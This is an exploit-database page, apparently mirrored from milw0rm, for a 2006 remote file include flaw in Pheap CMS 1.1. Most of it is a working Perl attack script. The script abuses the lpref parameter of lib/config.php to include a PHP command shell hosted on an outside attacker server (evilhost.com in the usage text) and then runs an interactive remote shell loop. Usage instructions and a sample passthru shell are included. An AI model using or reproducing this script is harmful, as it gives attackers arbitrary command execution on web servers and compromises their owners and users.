Lucene search
K

Pheap CMS <= 1.1 (lpref) Remote File Include Exploit

🗓️ 31 Aug 2006 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 18 Views

Pheap CMS <= 1.1 Remote File Include Exploit. The exploit allows remote attackers to include and execute arbitrary files via a URL in the lpref parameter to lib/config.php. This can be exploited to execute arbitrary PHP code

Code

                                                #!/usr/bin/perl

use LWP::UserAgent;

#/*
#+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
#+
#-   - - [DEVIL TEAM THE BEST POLISH TEAM] - -
#+
#+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
#+
#- Pheap CMS &lt;= 1 (lpref) Remote File Include Exploit
#+
#+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
#+
#- [Script name: Pheap CMS v. 1
#- [Script site: http://pheap.barekoncept.com/
#+
#+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
#+
#-          Find by: Kacper (a.k.a Rahim)
#+		  
#-          Contact: [email protected]   
#-                        or   
#-           http://www.rahim.webd.pl/
#+
#+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
#+
#- Special Greetz: DragonHeart ;-)
#- Ema: Leito, Leon, Adam, DeathSpeed, Drzewko, pepi, mivus ;]
#-
#!@ Przyjazni nie da sie zamienic na marne korzysci @!
#+
#+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
#+
#-            Z Dedykacja dla osoby,
#-         bez ktorej nie mogl bym zyc...
#-           K.C:* J.M (a.k.a Magaja)
#+
#+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
# usage:
# perl exploit.pl &lt;Pheap Locaction&gt; &lt;shell location&gt; &lt;shell cmd&gt;
#
# perl exploit.pl http://site.com/[Pheap_Path]/ http://site.com/cmd.txt cmd
#
# cmd shell example: &lt;?passthru($_GET[cmd]);?&gt;
#
# cmd shell variable: ($_GET[cmd]);
###################################################
#
# in config.php line 13:
#....
#	include($lpref.&quot;lib/globals.php&quot;);
#....
###################################################



$sciezka = $ARGV[0];

$sciezkacmd = $ARGV[1];

$komenda = $ARGV[2];

if($sciezka!~/http:\/\// || $sciezkacmd!~/http:\/\// || !$komenda){usage()}

head();

while()
{
print &quot;[shell] \$&quot;;
while(&lt;STDIN&gt;)
{
$cmd=$_;
chomp($cmd);

$xpl = LWP::UserAgent-&gt;new() or die;

$req = HTTP::Request-&gt;new(GET=&gt;$sciezka.'lib/config.php?lpref='.$sciezkacmd.'?&amp;'.$komenda.'='.$cmd)or die &quot;\nCouldNot connect\n&quot;;
$res = $xpl-&gt;request($req);

$return = $res-&gt;content;
$return =~ tr/[\n]/[&amp;#234;]/;

if (!$cmd) {print &quot;\nEnter a Command\n\n&quot;; $return =&quot;&quot;;}

elsif ($return =~/failed to open stream: HTTP request failed!/ || $return =~/: Cannot executea blank command in &lt;b&gt;/)

{print &quot;\nCould Not Connect to cmd Host or Invalid Command Variable\n&quot;;exit}

elsif ($return =~/^&lt;br.\/&gt;.&lt;b&gt;Warning/) {print &quot;\nInvalid Command\n\n&quot;}

if($return =~ /(.+)&lt;br.\/&gt;.&lt;b&gt;Warning.(.+)&lt;br.\/&gt;.&lt;b&gt;Warning/)
{

$finreturn = $1;
$finreturn=~ tr/[&amp;#234;]/[\n]/;
print &quot;\r\n$finreturn\n\r&quot;;
last;


}
else {print &quot;[shell] \$&quot;;}}}last;

sub head()
{
print &quot;~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n&quot;;
print &quot;+          - - [DEVIL TEAM THE BEST POLISH TEAM] - -         +\n&quot;;
print &quot;+      Pheap CMS &lt;= 1 (lpref) Remote File Include Exploit    +\n&quot;;
print &quot;+                http://www.rahim.webd.pl/                   +\n&quot;;
print &quot;+                Find by: Kacper (a.k.a Rahim)               +\n&quot;;
print &quot;~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n&quot;;
}
sub usage()
{
head();
print &quot; Usage: perl exploit.pl &lt;Pheap Locaction&gt; &lt;shell location&gt; &lt;shell cmd&gt;\r\n\n&quot;;
print &quot; &lt;Pheap Locaction&gt; - Full path to Pheap ex: http://www.site.com/Pheap/\r\n&quot;;
print &quot; &lt;shell location&gt; - Path to cmd Shell e.g http://www.evilhost.com/cmd.txt\r\n&quot;;
print &quot; &lt;shell cmd&gt; - Command variable used in php shell \r\n&quot;;
print &quot; ============================================================================\r\n&quot;;
print &quot;                         Find by: Kacper (a.k.a Rahim)                       \r\n&quot;;
print &quot;                           http://www.rahim.webd.pl/                         \r\n&quot;;
print &quot;                          Special Greetz: DragonHeart ;-)                    \r\n&quot;;
print &quot; ============================================================================\r\n&quot;;

exit();
}

#Pozdrawiam wszystkich ;-)

# milw0rm.com [2006-08-31]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

31 Aug 2006 00:00Current
7.1High risk
Vulners AI Score7.1
18